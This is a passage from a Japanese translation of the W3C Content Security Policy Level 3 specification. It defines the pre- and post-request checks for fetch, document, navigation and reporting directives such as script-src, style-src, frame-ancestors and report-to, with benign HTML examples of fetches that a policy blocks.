  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameimg-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.6.2. img-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通り:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameimg-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.7. manifest-src

manifest-src指令は、アプリケーションマニフェストをロード可能なURLを制限します[APPMANIFEST]。指令名と値の構文は以下のABNFで示されます:

directive-name  = "manifest-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: manifest-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがmanifest-srcソースリストと一致しないためです:

<link rel="manifest" href="https://example.org/manifest">
6.1.7.1. manifest-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamemanifest-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.7.2. manifest-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamemanifest-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.8. media-src

media-src指令は、動画、音声、および関連するテキストトラックリソースをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "media-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: media-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがmedia-srcソースリストと一致しないためです:

<audio src="https://example.org/audio"></audio>
<video src="https://example.org/video">
    <track kind="subtitles" src="https://example.org/subtitles">
</video>
6.1.8.1. media-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamemedia-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.8.2. media-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamemedia-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.9. object-src

object-src指令は、プラグインコンテンツをロード可能なURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "object-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: object-src https://example.com/

以下のコードによるフェッチはネットワークエラーとなります。指定URLがobject-srcソースリストと一致しないためです:

<embed src="https://example.org/flash"></embed>
<object data="https://example.org/flash"></object>

プラグインコンテンツが関連するURLなしでロードされた場合(たとえばobject要素にdata属性がないが、指定されたtypeに基づいてデフォルトプラグインがロードされる場合など)、object-srcの値が'none'なら必ずブロックされます(MUST)。それ以外の場合は許可されます。

注: object-src指令は、objectembed要素に対して行われた全てのリクエストに作用します。これは、これら要素が生成する子ナビゲーションへのリクエスト(ナビゲーションも含む)にも及びます。これは、データが他の指令で制限される内容と意味的に同等であっても同じです。たとえば、object要素にtext/htmlのMIMEタイプが指定された場合なども含まれます。

注: プラグインリソースへの直接ナビゲーション(つまり、プラグインナビゲーション可能内で直接開かれ、embedobject要素で埋め込まれたサブリソースとしてではない場合)、そのリソースとともに配信されたポリシーは、生成されたDocumentに適用されます。つまり、object-src 'none'ポリシーをレスポンスと共に配信することで、任意リソースのプラグインコンテンツとしての実行を防ぐことができます。プラグイン(特にFlashなど)のパワーやセキュリティモデルの特殊性を考慮すると、Rosetta Flashのような攻撃ベクトル対策にも有効です。

6.1.9.1. object-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameobject-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.9.2. object-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameobject-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.10. script-src

script-src指令は、スクリプトの実行可能な場所を制限します。これはscript要素に直接ロードされるURLだけでなく、インラインスクリプトブロックやXSLTスタイルシート[XSLT]など、スクリプト実行を引き起こすものにも該当します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src"
directive-value = serialized-source-list

script-src指令は、すべてのスクリプト類似の宛先(worker-srcが存在しなければワーカー系宛先も含む)に対するデフォルトのフォールバックとして機能します。細かな制御が不要な場合は、script-srcscript-src-attrscript-src-elemより優先して使うべきです。多くの場合、インラインイベントハンドラやscript要素ごとに権限リストを分ける必要はありません。

script-src指令は以下の6つの項目を制御します:

  1. スクリプトのリクエスト§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  2. スクリプトのレスポンス§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  3. インラインscriptブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。全てのポリシーが暗黙的に(script-srcdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-sourcehash-sourceが一致する場合)インラインスクリプトを許可しない限り、動作がブロックされます。

  4. 次のJavaScript実行シンクは"unsafe-eval"と"trusted-types-eval"ソース式で制御されます:

    注: ユーザーエージェントが非標準シンク(setImmediate()execScript()など)を実装している場合も、"unsafe-eval"で制御すべきです(SHOULD)。"unsafe-eval"はグローバルなページフラグとして働くため、script-src-attrscript-src-elemはこのチェックでは使用せず、常にscript-src(またはそのフォールバック指令)が使われます。

  5. 次のWebAssembly実行シンクは"wasm-unsafe-eval"または"unsafe-eval"ソース式で制御されます:

    注: "wasm-unsafe-eval"ソース式はより限定的な式です。例えば、"unsafe-eval"はWebAssemblyのコンパイル(およびインスタンス化)とJavaScriptでの"eval"操作の両方を許可しますが、"wasm-unsafe-eval"はWebAssemblyのみ許可し、JavaScriptには影響しません。

  6. javascript:URLへのナビゲーションは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。スクリプトは、#3の条件通り全てのポリシーがインラインスクリプトを許可する場合のみ実行されます。

6.1.10.1. script-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamescript-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.1.1 スクリプト指令の事前リクエストチェックrequest、この指令、policyに対して実行した結果を返す。

6.1.10.2. script-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamescript-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.1.2 スクリプト指令の事後リクエストチェックrequestresponse、この指令、policyに対して実行した結果を返す。

6.1.10.3. script-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.11. script-src-elem

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src-elem"
directive-value = serialized-source-list

script-src-elem指令は、全てのスクリプトリクエストとスクリプトブロックに適用されます。スクリプトを実行する属性(インラインイベントハンドラ)はscript-src-attrで制御されます。

そのため、script-srcと比較した場合、以下の違いがあります:

6.1.11.1. script-src-elem 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamescript-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.1.1 スクリプト指令の事前リクエストチェックrequest、この指令、policyに対して実行した結果を返す。

6.1.11.2. script-src-elem 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamescript-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.1.2 スクリプト指令の事後リクエストチェックrequestresponse、この指令、policyに対して実行した結果を返す。

6.1.11.3. script-src-elem インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.12. script-src-attr

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "script-src-attr"
directive-value = serialized-source-list

script-src-attr指令は、イベントハンドラに適用されます。これが存在する場合、該当チェックではscript-src指令を上書きします。

6.1.12.1. script-src-attr インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. 保証:elementはnullでない、またはtypeが"navigation"である。

  2. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  3. § 6.8.4 取得指令実行すべきかnamescript-src-attrpolicyで実行した結果が"No"なら、"Allowed"を返す。

  4. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.13. style-src

style-src指令は、Documentに適用可能なスタイルの場所を制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src"
directive-value = serialized-source-list

style-src指令は複数の項目を制御します:

  1. スタイルのリクエスト§ 4.1.2 リクエストはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。これには以下が含まれます:

    1. link要素によるスタイルシートリクエスト。

    2. @import規則によるスタイルシートリクエスト。

    3. HTTPレスポンスヘッダーLinkフィールド[RFC8288]によるスタイルシートリクエスト。

  2. スタイルリクエストのレスポンス§ 4.1.3 リクエストのレスポンスはContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。

  3. インラインstyleブロックは§ 4.2.3 要素のインライン型挙動はContent Security Policyでブロックされるべきか?を通過しなければなりません(MUST)。すべてのポリシーが暗黙的に(style-srcdefault-src指令が指定されていない場合)または明示的に("unsafe-inline"、nonce-sourcehash-sourceが一致する場合)インラインスタイルを許可しない限りブロックされます。

  4. 以下のCSSアルゴリズムはunsafe-evalソース式で制御されます:

    1. CSS規則の挿入

    2. CSS規則のパース

    3. CSS宣言ブロックのパース

    4. セレクター群のパース

    これには、例えばCSSOMの各種cssTextセッターやinsertRuleメソッドの全呼び出しが含まれます[CSSOM] [HTML]

    この説明は要改善。[w3c/webappsec-csp Issue #212]

6.1.13.1. style-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行した結果が"Matches"なら、"Allowed"を返す。

  4. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.13.2. style-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行した結果が"Matches"なら、"Allowed"を返す。

  4. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.13.3. style-src インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

この指令の初期化アルゴリズムは以下の通りです:

CSSOMアルゴリズムをロックダウンするために、実行コンテキストに何らかの興味深い処理を行う必要がある。CSSOMはここにフックがないため、適切な方法を検討するためCSSOM側と協力したい。

6.1.14. style-src-elem

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src-elem"
directive-value = serialized-source-list

style-src-elem指令は、インライン属性で定義されたスタイルを除く、スタイルの挙動を制御します。

6.1.14.1. style-src-elem 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行した結果が"Matches"なら、"Allowed"を返す。

  4. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.14.2. style-src-elem 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行した結果が"Matches"なら、"Allowed"を返す。

  4. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  5. "Allowed"を返す。

6.1.14.3. style-src-elem インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-elempolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.1.15. style-src-attr

この指令名と値の構文は以下のABNFで示されます:

directive-name  = "style-src-attr"
directive-value = serialized-source-list

style-src-attr指令は、スタイル属性の挙動を制御します。

6.1.15.1. style-src-attr インラインチェック

この指令のインラインチェックアルゴリズムは以下の通りです:

Element element、文字列typepolicy policy、文字列sourceが与えられた場合:

  1. name§ 6.8.2 インラインチェック用有効指令取得typeに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnamestyle-src-attrpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.3.3 要素はtypeとsourceでソースリストと一致するか?element、この指令のtypesourceで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.2. その他の指令

6.2.1. webrtc

webrtc指令は、WebRTCによる接続の確立を制限します。指令名と値の構文は次のABNFで表されます:

directive-name  = "webrtc"
directive-value = "'allow'" / "'block'"
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: webrtc 'block'

ローカルICE候補は公開されず、ピア接続で指定されたICEサーバーに対してSTUNチェックが行われません。JSで提供されるリモート候補への接続確認(connectivity-check)も試みられません。connectionStateは"new"から直接"failed"に遷移し、"connected"には移行しません。pc.restartIce()を試みても同様の結果となります。

 <script>
   const iceServers = [{urls: "stun:stun.l.google.com:19302"}];
   const pc = new RTCPeerConnection({iceServers});
   pc.createDataChannel("");
   const io = new WebSocket('ws://example.com:8080');
   pc.onicecandidate = ({candidate}) => io.send({candidate});
   pc.onnegotiationneeded = async () => {
     await pc.setLocalDescription();
     io.send({description: pc.localDescription});
   };
   io.onmessage = async ({data: {description, candidate}}) => {
     if (description) {
       await pc.setRemoteDescription(description);
       if (description.type == "offer") {
         await pc.setLocalDescription();
         io.send({description: pc.localDescription});
       }
     } else if (candidate) await pc.addIceCandidate(candidate);
   };
</script>
6.2.1.1. webrtc 事前接続チェック

この指令のwebrtc事前接続チェックは以下の通りです:

  1. この指令のが1つだけで、その値が"'allow'"とASCII大文字・小文字を区別しない一致をする場合、"Allowed"を返す。

  2. "Blocked"を返す。

6.2.2. worker-src

worker-src指令は、WorkerSharedWorkerServiceWorkerとしてロードできるURLを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "worker-src"
directive-value = serialized-source-list
以下のContent Security Policyが設定されたページの場合:
Content-Security-Policy: worker-src https://example.com/

下記コードによるフェッチは全てネットワークエラーになります。指定URLがworker-srcソースリストと一致しないためです:

<script>
  var blockedWorker = new Worker("data:application/javascript,...");
  blockedWorker = new SharedWorker("https://example.org/");
  navigator.serviceWorker.register('https://example.org/sw.js');
</script>
6.2.2.1. worker-src 事前リクエストチェック

この指令の事前リクエストチェックは以下の通りです:

request requestpolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameworker-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.2.2.2. worker-src 事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsepolicy policyが与えられた場合:

  1. name§ 6.8.1 リクエスト用有効指令取得requestに対して実行した結果とする。

  2. § 6.8.4 取得指令実行すべきかnameworker-srcpolicyで実行した結果が"No"なら、"Allowed"を返す。

  3. § 6.7.2.6 レスポンスはソースリストと一致するか?responserequest、この指令のpolicyで実行した結果が"Does Not Match"なら、"Blocked"を返す。

  4. "Allowed"を返す。

6.3. ドキュメント指令

以下の指令は、ポリシーが適用されるドキュメントまたはワーカー環境のプロパティを制御します。

6.3.1. base-uri

base-uri指令は、URLDocumentbase要素で利用できるかを制限します。指令名と値の構文は以下のABNFで示されます:

directive-name  = "base-uri"
directive-value = serialized-source-list

以下のアルゴリズムは、HTMLの凍結ベースURLの設定アルゴリズム内で呼び出され、この指令の監視と強制を行います:

6.3.1.1. documentbaseは許可されているか?

URL baseDocument documentが与えられた場合、このアルゴリズムはbasebase要素のhref属性値として利用できる場合は"Allowed"を返し、そうでなければ"Blocked"を返します:

  1. policydocumentグローバルオブジェクトcspリストから順に:

    1. source listをnullに設定。

    2. policyディレクティブセットbase-uriという指令があれば、source listに当該指令を設定。

    3. source listがnullなら、次のpolicyへ。

    4. § 6.7.2.7 URLはオリジンおよびリダイレクトカウント付きでソースリストと一致するか?basesource listpolicyself-origin、0で実行した結果が"Does Not Match"なら:

      1. § 2.4.1 グローバル・ポリシー・指令用違反オブジェクトの作成documentグローバルオブジェクトpolicy、"base-uri"で実行し、violationとする。

      2. violationresourceに"inline"を設定。

      3. § 5.5 違反を報告するviolationに対して実行。

      4. policyディスポジションが"enforce"なら"Blocked"を返す。

    注: フォールバックベースURLとの比較は、srcdocなiframe Documentなど、オペークオリジンにサンドボックス化された場合にも正しく扱うために行います。

  2. "Allowed"を返す。

6.3.2. sandbox

sandbox指令は、ユーザーエージェントがリソースに適用するHTMLサンドボックスポリシーを指定します。これは、iframesandbox属性と同様に機能します。

指令の構文は次のABNFで示されます。さらに、各トークン値はHTML仕様で許可されたiframesandbox属性値のいずれかでなければなりません(MUST)[HTML]

directive-name  = "sandbox"
directive-value = "" / token *( required-ascii-whitespace token )

この指令には報告要件はありません。Content-Security-Policy-Report-Onlyヘッダーやmeta要素内で配信された場合は完全に無視されます。

6.3.2.1. sandbox 初期化

この指令の初期化アルゴリズムは、ポリシーに含まれるsandbox値に従って、ワーカーの実行が許可されているかどうかを確認する役割を持ちます:

注: sandbox指令は、Document有効サンドボックスフラグセットCSP由来サンドボックスフラグ経由で調整する役割も持ちます。

Documentまたはグローバルオブジェクトcontextpolicy policyが与えられた場合:

  1. policyディスポジションが"enforce"以外、またはcontextWorkerGlobalScopeでなければ、このアルゴリズムを中止。

  2. sandboxing flag setを新しいサンドボックスフラグセットとして作成。

  3. サンドボックス指令のパースを、この指令のを入力、sandboxing flag setを出力として実行。

  4. sandboxing flag setサンドボックススクリプトブラウジングコンテキストフラグまたはサンドボックスオリジンブラウジングコンテキストフラグが含まれていれば"Blocked"を返す。

    注: ワーカーをユニークオリジンにサンドボックス化可能にする場合は、この動作変更が必要になるかもしれません。

  5. "Allowed"を返す。

6.4. ナビゲーション指令

6.4.1. form-action

form-action指令は、フォーム送信のターゲットとなるURLを制限します。指令の構文は以下のABNFで示されます:

directive-name  = "form-action"
directive-value = serialized-source-list
6.4.1.1. form-action 事前ナビゲーションチェック

request request、文字列navigation type("form-submission"または"other")、policy policyが与えられた場合、このアルゴリズムはフォーム送信がform-action指令の制約に違反すれば"Blocked"、そうでなければ"Allowed"を返します。これがform-action指令の事前ナビゲーションチェックとなります:

  1. 保証:このアルゴリズムではpolicyは未使用。

  2. navigation typeが"form-submission"の場合:

    1. § 6.7.2.5 リクエストはソースリストと一致するか?request、この指令のpolicyで実行した結果が"Does Not Match"なら"Blocked"を返す。

  3. "Allowed"を返す。

6.4.2. frame-ancestors

frame-ancestors指令は、URLframeiframeobjectembedでリソースを埋め込み可能かどうかを制限します。 この指令は、リソースが潜在的に悪意あるコンテキストへ埋め込まれるリスクを避けることで、多くのUIリドレッシング[UISECURITY]攻撃を防ぐことができます。

指令の構文は以下のABNFで示されます:

directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

ancestor-source-list = ( ancestor-source *( required-ascii-whitespace ancestor-source) ) / "'none'"
ancestor-source      = scheme-source / host-source / "'self'"

frame-ancestors指令は、meta要素で宣言されたポリシーに含まれている場合は無視されます。

注: frame-ancestors指令の構文はソースリストに似ていますが、frame-ancestorsdefault-src指令の値にはフォールバックしません。つまり、default-src 'none'を宣言しても、リソースは誰でも埋め込めます。

6.4.2.1. frame-ancestors ナビゲーションレスポンスチェック

request request、文字列navigation type("form-submission"または"other")、response navigation responsenavigable target、文字列check type("source"または"response")、policy policyが与えられた場合、このアルゴリズムはtargetの祖先のいずれかがレスポンスで配信されたframe-ancestors指令に違反していれば"Blocked"、そうでなければ"Allowed"を返します。これがframe-ancestors指令のナビゲーションレスポンスチェックとなります:

  1. navigation responseURLローカルなら"Allowed"を返す。

  2. 保証:このアルゴリズムではrequestnavigation responsenavigation typeは以降未使用。frame-ancestorsnavigation responseframe-ancestors指令のみを扱うため。

  3. check typeが"source"なら"Allowed"を返す。

    注: 'frame-ancestors'指令はtarget ナビゲーション可能にのみ影響し、requestのコンテキストには影響しません。

  4. target子ナビゲーション可能でなければ"Allowed"を返す。

  5. currenttargetに設定。

  6. current子ナビゲーション可能である間:

    1. documentcurrentコンテナドキュメントとする。

    2. origindocumentオリジンASCII直列化URLパーサーに入力して得た結果とする。

    3. § 6.7.2.7 URLはオリジンおよびリダイレクトカウント付きでソースリストと一致するか?origin、この指令のpolicyself-origin、0で実行した結果が"Does Not Match"なら"Blocked"を返す。

    4. currentdocumentノードナビゲーション可能に設定。

  7. "Allowed"を返す。

6.4.2.2. ``X-Frame-Options``との関係

この指令は、X-Frame-Options` HTTPレスポンスヘッダーに類似しています。'none'ソース式はこのヘッダーのDENYと、'self'SAMEORIGINと概ね同等です。[HTML]

後方互換性のため、frame-ancestors指令はX-Frame-Options`ヘッダーを上書きします。リソースがframe-ancestorsという名前の指令を含むポリシーと共に、ディスポジションが"enforce"として配信された場合、HTMLの処理モデルに従いX-Frame-Options`ヘッダーは無視されます。

6.5. レポート指令

本書の様々なアルゴリズムは、violationオブジェクトを§ 2.4.2 リクエストおよびポリシー用違反オブジェクトの作成または§ 2.4.1 グローバル・ポリシー・指令用違反オブジェクトの作成で構築し、§ 5.5 違反を報告するに渡してレポート処理にフックします。

6.5.1. report-uri

注: report-uri指令は廃止予定です。代わりにreport-to指令を利用してください。後者が存在する場合、この指令は無視されます。後方互換性のため、以下のように両方指定することを推奨します:
Content-Security-Policy: ...; report-uri https://endpoint.com; report-to groupname

report-uri指令は、特定の動作が防止されたときにCSP違反レポートを送信する宛先エンドポイントを定義します。

directive-name  = "report-uri"
directive-value = uri-reference *( required-ascii-whitespace uri-reference )
; uri-reference文法はRFC 3986セクション4.1に定義されています。

この指令自体には効果はなく、他の指令と組み合わせて初めて意味を持ちます。

6.5.2. report-to

report-to指令は違反レポートを送るべきレポートエンドポイントを定義します[REPORTING]。挙動は§ 5.5 違反を報告するで定義されています。指令名と値の構文は以下のABNFです:

directive-name  = "report-to"
directive-value = token

6.6. 他文書で定義された指令

本書は指令のコアセットを定義し、他仕様によるモジュール拡張の枠組みを設けています。本書執筆時点でCSPを拡張する安定文書例:

CSP拡張は[RFC7762]の手順で登録する必要があります(MUST)。特に、当該文書のセクション4.2の基準に注意してください。

新しい指令は、FetchやHTMLに統合するため、事前リクエストチェック事後リクエストチェック初期化フックを利用すべきです(SHOULD)。

6.7. 照合アルゴリズム

6.7.1. スクリプト指令チェック

6.7.1.1. スクリプト指令事前リクエストチェック

request requestdirective directivepolicy policyが与えられた場合:

  1. requestdestinationscript-likeの場合:

    1. § 6.7.2.3 nonceはソースリストと一致するか?request暗号学的nonceメタデータ、この指令ので実行し、結果が"Matches"なら"Allowed"を返す。

    2. § 6.7.2.4 インテグリティメタデータはソースリストと一致するか?requestインテグリティメタデータ、この指令ので実行し、結果が"Matches"なら"Allowed"を返す。

    3. directiveに"'strict-dynamic'"キーワードソース(keyword-source)とASCII大文字・小文字を区別しない一致となるsource expressionが含まれていれば:

      1. requestparser metadata"parser-inserted"なら"Blocked"を返す。

        そうでなければ"Allowed"を返す。

        注: "'strict-dynamic'"の詳細は§ 8.2 "'strict-dynamic'"の利用参照。

    4. § 6.7.2.5 リクエストはソースリストと一致するか?requestdirectivepolicyで実行した結果が"Does Not Match"なら"Blocked"を返す。

  2. "Allowed"を返す。

6.7.1.2. スクリプト指令事後リクエストチェック

この指令の事後リクエストチェックは以下の通りです:

request requestresponse responsedirective directivepolicy policyが与えられた場合:

注: このチェックはrequestresponse両方を入力パラメータとして必要とします。これは、request暗号学的nonceメタデータインテグリティメタデータが一致すればスクリプトは許可され、レスポンスのURL一致チェックが省略されるためです。

  1. requestdestinationscript-likeの場合:

    1. potentially report hashresponserequestdirectivepolicyで呼び出す。

